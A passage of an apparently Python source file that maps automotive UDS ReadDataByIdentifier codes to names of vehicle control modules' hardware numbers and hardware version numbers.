"Chip_card_reader_control_module_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6643] = "Traffic_data_aerial_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6644] = "Hands_free_system_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6645] = "Telephone_handset_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6646] = "Display_unit_front_for_multimedia_system_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6647] = "Multimedia_operating_unit_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6648] = "Digital_sound_system_control_module_2_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6649] = "Electrically_adjustable_steering_column_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x664a] = "Interface_for_external_multimedia_unit_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x664b] = "Relative_Air_Humidity_Interior_Sender_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x664c] = "Drivers_door_rear_control_module_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x664d] = "Passengers_rear_door_control_module_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x664e] = "Sensor_controlled_power_rear_lid_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x664f] = "Camera_for_night_vision_system_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6650] = "Relative_humidity_sensor_in_fresh_air_intake_duct_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6651] = "Rear_spoiler_adjustment_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6652] = "Roof_blind_2_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6653] = "Motor_for_wind_deflector_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6654] = "Voltage_stabilizer_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6655] = "Switch_module_for_driver_seat_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6656] = "Switch_module_for_front_passenger_seat_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6657] = "Switch_module_for_rear_seat_driver_side_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6658] = "Switch_module_for_rear_seat_front_passenger_side_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6659] = "Switch_module_2_for_driver_seat_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x665a] = "Battery_charger_unit_1_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x665b] = "Battery_charger_unit_2_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x665c] = "Battery_charger_unit_3_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x665d] = "Air_conditioning_compressor_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x665e] = "Neck_heating_left_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x665f] = "Neck_heating_right_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6660] = "Switch_module_2_for_front_passenger_seat_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6661] = "Switch_module_2_for_rear_seat_front_passenger_side_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6662] = "Compact_disc_database_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6663] = "Rear_climatronic_operating_and_display_unit_left_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6664] = "Rear_climatronic_operating_and_display_unit_right_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6665] = "Door_handle_front_left_Kessy_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6666] = "Door_handle_front_right_Kessy_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6667] = "Door_handle_rear_left_Kessy_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6668] = "Door_handle_rear_right_Kessy_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6669] = "Power_converter_DC_AC_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x666a] = "Battery_monitoring_control_module_2_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x666b] = "Matrix_headlamp_powermodule_1_left_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x666c] = "Matrix_headlamp_powermodule_1_right_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x666d] = "High_beam_powermodule_left_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x666e] = "High_beam_powermodule_right_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x666f] = "Air_suspension_compressor_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6670] = "Rear_brake_actuator_1_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6671] = "Rear_brake_actuator_2_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6672] = "Analog_clock_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6673] = "Rear_door_control_module_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6679] = "Data_medium_2_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x667a] = "Operating_unit_center_console_1_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x667b] = "Operating_unit_center_console_2_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x667c] = "Operating_unit_center_console_3_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x667d] = "Operating_unit_center_console_4_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x667e] = "Interface_for_radiodisplay_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x667f] = "Parkassist_entry_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6686] = "Belt_pretensioner_3rd_row_left_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6687] = "Belt_pretensioner_3rd_row_right_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6688] = "Injection_valve_heater_control_unit_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6689] = "Steering_column_switch_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x668a] = "Brake_assistance_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x668b] = "Trailer_articulation_angle_sensor_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x668c] = "Cup_holder_with_heater_and_cooling_element_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x668d] = "Range_of_vision_sensing_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x668e] = "Convenience_and_driver_assist_operating_unit_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x668f] = "Cradle_rear_climatronic_operating_and_display_unit_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6690] = "Trailer_weight_nose_weight_detection_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6691] = "Sensor_carbon_dioxide_concentration_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6692] = "Sensor_fine_dust_concentration_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6693] = "Volume_control_1_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6694] = "Belt_buckle_presenter_2nd_row_left_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6695] = "Belt_buckle_presenter_2nd_row_right_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6696] = "Operating_and_display_unit_6_for_air_conditioning_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6697] = "Active_accelerator_pedal_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6698] = "Multimedia_operating_unit_2_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6699] = "Display_unit_3_for_multimedia_system_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x669a] = "Display_unit_4_for_multimedia_system_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x669b] = "Display_unit_5_for_multimedia_system_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x669c] = "Control_module_for_auxiliary_blower_motors_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x669d] = "Operating_and_display_unit_3_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x669e] = "Operating_and_display_unit_4_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x669f] = "Operating_and_display_unit_5_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66a0] = "Side Sensor Driver Front_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66a1] = "Side Sensor Passenger Front_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66a2] = "Side Sensor Driver Rear_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66a3] = "Side Sensor Passenger Rear_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66a4] = "Front Sensor Driver_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66a5] = "Front Sensor Passenger_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66a6] = "Pedestrian Protection Driver_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66a7] = "Pedestrian Protection Passenger_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66a8] = "Rear Sensor Center_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66a9] = "Pedestrian Protection Center_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66aa] = "Pedestrian Protection Contact_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66ab] = "Pedestrian_protection_driver_2_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66ac] = "Pedestrian_protection_passenger_2_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66ad] = "Central_sensor_XY_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66ae] = "Refrigerant_pressure_and_temperature_sender_2_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66af] = "Refrigerant_pressure_and_temperature_sender_3_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66b0] = "Switch_for_rear_multicontour_seat_driver_side_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66b1] = "Valve_block_1_in_driver_side_rear_seat_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66b2] = "Valve_block_2_in_driver_side_rear_seat_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66b3] = "Valve_block_3_in_driver_side_rear_seat_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66b4] = "Switch_for_rear_multicontour_seat_passenger_side_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66b5] = "Valve_block_1_in_passenger_side_rear_seat_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66b6] = "Valve_block_2_in_passenger_side_rear_seat_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66b7] = "Valve_block_3_in_passenger_side_rear_seat_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66b8] = "Switch_for_front_multicontour_seat_driver_side_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66b9] = "Valve_block_1_in_driver_side_front_seat_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66ba] = "Valve_block_2_in_driver_side_front_seat_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66bb] = "Valve_block_3_in_driver_side_front_seat_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66bc] = "Switch_for_front_multicontour_seat_passenger_side_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66bd] = "Valve_block_1_in_passenger_side_front_seat_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66be] = "Valve_block_2_in_passenger_side_front_seat_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66bf] = "Valve_block_3_in_passenger_side_front_seat_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66c0] = "Coolant_heater_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66c1] = "Seat_backrest_fan_1_front_left_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66c2] = "Seat_backrest_fan_2_front_left_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66c3] = "Seat_cushion_fan_1_front_left_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66c4] = "Seat_cushion_fan_2_front_left_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66c5] = "Seat_backrest_fan_1_front_right_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66c6] = "Seat_backrest_fan_2_front_right_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66c7] = "Seat_cushion_fan_1_front_right_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66c8] = "Seat_cushion_fan_2_front_right_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66c9] = "Operating_and_display_unit_1_for_air_conditioning_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66ca] = "Operating_and_display_unit_2_for_air_conditioning_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66cb] = "Operating_and_display_unit_3_for_air_conditioning_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66cc] = "Operating_and_display_unit_4_for_air_conditioning_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66cd] = "Operating_and_display_unit_5_for_air_conditioning_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66ce] = "Pedestrian_protection_left_hand_side_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66cf] = "Pedestrian_protection_right_hand_side_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66d0] = "Battery_junction_box_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66d1] = "Cell_module_controller_1_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66d2] = "Cell_module_controller_2_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66d3] = "Cell_module_controller_3_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66d4] = "Cell_module_controller_4_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66d5] = "Cell_module_controller_5_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66d6] = "Cell_module_controller_6_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66d7] = "Cell_module_controller_7_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66d8] = "Cell_module_controller_8_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66d9] = "Cell_module_controller_9_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66da] = "Cell_module_controller_10_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66db] = "Cell_module_controller_11_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66dc] = "Cell_module_controller_12_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66dd] = "Seat_backrest_fan_1_rear_left_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66de] = "Seat_backrest_fan_2_rear_left_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66df] = "Seat_cushion_fan_1_rear_left_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66e0] = "Seat_cushion_fan_2_rear_left_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66e1] = "Seat_backrest_fan_1_rear_right_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66e2] = "Seat_backrest_fan_2_rear_right_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66e3] = "Seat_cushion_fan_1_rear_right_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66e4] = "Seat_cushion_fan_2_rear_right_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66e5] = "Auxiliary_blower_motor_control_1_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66e6] = "Auxiliary_blower_motor_control_2_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66e7] = "Infrared_sender_for_front_observation_module_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66e8] = "Starter_generator_control_module_sub_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66e9] = "Media_player_1_sub_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66ea] = "Media_player_2_sub_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66eb] = "Dedicated_short_range_communication_aerial_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66ec] = "Refrigerant_pressure_and_temperature_sender_4_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66ed] = "Refrigerant_pressure_and_temperature_sender_5_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66ee] = "Refrigerant_pressure_and_temperature_sender_6_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66ef] = "Air_coolant_actuator_1_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66f0] = "Air_coolant_actuator_2_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66f1] = "Cell_module_controller_13_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66f2] = "Cell_module_controller_14_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66f3] = "Cell_module_controller_15_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66f5] = "Seat_heating_rear_1_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66f6] = "LED_warning_indicator_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66f7] = "Automatic_transmission_fluid_pump_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66f8] = "Manual_transmission_fluid_pump_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66f9] = "Convenience_and_driver_assist_operating_unit_2_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66fb] = "Air_coolant_actuator_3_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66fc] = "Valve_block_4_in_driver_side_rear_seat_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66fd] = "Valve_block_4_in_passenger_side_rear_seat_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66fe] = "Valve_block_4_in_driver_side_front_seat_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x66ff] = "Valve_block_4_in_passenger_side_front_seat_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6701] = "Rear_climatronic_operating_and_display_unit_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6702] = "Refrigerant_expansion_valve_1_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6703] = "Refrigerant_expansion_valve_2_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6704] = "Refrigerant_expansion_valve_3_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6705] = "Refrigerant_shut_off_valve_1_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6706] = "Refrigerant_shut_off_valve_2_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6707] = "Refrigerant_shut_off_valve_3_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6708] = "Refrigerant_shut_off_valve_4_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6709] = "Refrigerant_shut_off_valve_5_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x670a] = "Sunlight_sensor_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x670b] = "Near_field_communication_control_module_2_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x670c] = "Clutch_control_unit_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x670d] = "Electrical_charger_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x670e] = "Rear_light_left_2_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x670f] = "Rear_light_right_1_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6710] = "Rear_light_right_2_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6711] = "Sunlight_sensor_2_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6712] = "Radiator_shutter_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6713] = "Radiator_shutter_2_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6714] = "Radiator_shutter_3_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6715] = "Radiator_shutter_4_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6718] = "Special_key_operating_unit_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6719] = "Radio_interface_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x671a] = "Video_self_protection_recorder_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x671b] = "Special_vehicle_assist_interface_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x671c] = "Electric_system_disconnection_diode_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x671d] = "Cradle_rear_climatronic_operating_and_display_unit_2_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x671e] = "Belt_pretensioner_2nd_row_left_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x671f] = "Belt_pretensioner_2nd_row_right_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6720] = "Electrical_variable_camshaft_phasing_1_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6721] = "Electrical_variable_camshaft_phasing_2_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6722] = "Wireless_operating_unit_1_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6723] = "Wireless_operating_unit_2_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6724] = "Front_windshield_washer_pump_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6725] = "Air_quality_sensor_2_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6726] = "Fragrancing_system_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6727] = "Coolant_valve_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6728] = "Near_field_communication_control_module_3_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6729] = "Interior_monitoring_rear_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x672a] = "Cooler_fan_1_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x672b] = "Control_unit_heating_1_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x672c] = "Control_unit_heating_2_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x672d] = "Control_unit_heating_3_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x672e] = "Control_unit_heating_4_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x672f] = "Operating_unit_drive_mode_selection_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6730] = "Side_sensor_a-pillar_driver_front_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6731] = "Side_sensor_a-pillar_passenger_front_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6732] = "Sensor_high_voltage_system_1_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6733] = "Side_sensor_b-pillar_driver_front_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6734] = "Side_sensor_b-pillar_passenger_front_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6735] = "Multi_function_steering_wheel_control_module_2_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6736] = "Gear_selection_display_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6737] = "Cooler_fan_2_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6738] = "Gear_selector_control_module_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6739] = "Interior_light_module_2_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x673a] = "Radio_control_center_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x673b] = "Multimedia_extension_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x673c] = "Control_unit_differential_lock_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x673d] = "Control_unit_ride_control_system_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x673e] = "Control_unit_hands_on_detection_steering_wheel_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x673f] = "Front_climatronic_operating_and_display_unit_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6740] = "Auxiliary_display_unit_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6741] = "Card_reader_tv_tuner_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6742] = "Park_lock_actuator_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6743] = "Media_connector_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6744] = "Catalyst_heating_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6801] = "Control_unit_for_wiper_motor_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6802] = "Rain_light_recognition_sensor_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6803] = "Light_switch_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6804] = "Garage_door_opener_control_module_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6805] = "Garage_door_opener_operating_unit_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6806] = "Ignition_key_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6807] = "Left_front_seat_ventilation_control_module_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6808] = "Right_front_seat_ventilation_control_module_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6809] = "Left_rear_seat_ventilation_control_module_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x680a] = "LED_headlamp_powermodule_left_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x680b] = "LED_headlamp_powermodule_right_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x680c] = "LED_headlamp_powermodule_2_left_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x680d] = "LED_headlamp_powermodule_2_right_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x680e] = "Operating_and_display_unit_1_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x680f] = "Operating_and_display_unit_2_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6810] = "Right_rear_seat_ventilation_control_module_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6811] = "Data_medium_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6812] = "Drivers_door_control_module_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6813] = "Front_passengers_door_control_module_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6814] = "Left_headlamp_power_output_stage_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6815] = "Right_headlamp_power_output_stage_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6816] = "Sensor_for_anti_theft_alarm_system_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6817] = "Rear_lid_control_module_2_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6818] = "Alarm_horn_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6819] = "Automatic_day_night_interior_mirror_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x681a] = "Remote_control_auxiliary_heater_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x681b] = "Fresh_air_blower_front_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x681c] = "Fresh_air_blower_back_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x681d] = "Alternator_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x681e] = "Interior_light_module_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x681f] = "Refrigerant_pressure_and_temperature_sender_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6820] = "Sun_roof_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6821] = "Steering_column_lock_actuator_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6822] = "Anti_theft_tilt_system_control_unit_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6823] = "Tire_pressure_monitor_antenna_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6824] = "Heated_windshield_control_module_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6825] = "Rear_light_left_1_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6826] = "Ceiling_light_module_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6827] = "Left_front_massage_seat_control_module_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6828] = "Right_front_massage_seat_control_module_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6829] = "Control_module_for_auxiliary_air_heater_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x682a] = "Belt Pretensioner left_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x682b] = "Belt Pretensioner right_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x682c] = "Occupant Detection_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x682d] = "Selector_lever_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x682e] = "NOx_sensor_1_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x682f] = "NOx_sensor_2_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6830] = "Ioniser_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6831] = "Multi_function_steering_wheel_control_module_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6832] = "Left_rear_door_control_module_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6833] = "Right_rear_door_control_module_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6834] = "Left_rear_massage_seat_control_module_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6835] = "Right_rear_massage_seat_control_module_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6836] = "Display_unit_1_for_multimedia_system_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6837] = "Battery_monitoring_control_module_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6838] = "Roof_blind_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6839] = "Sun_roof_2_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x683a] = "Steering_angle_sender_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x683b] = "Lane_change_assistant 2_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x683c] = "Pitch_rate_sender_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x683d] = "ESP_sensor_unit_Hardware_Version_Number" 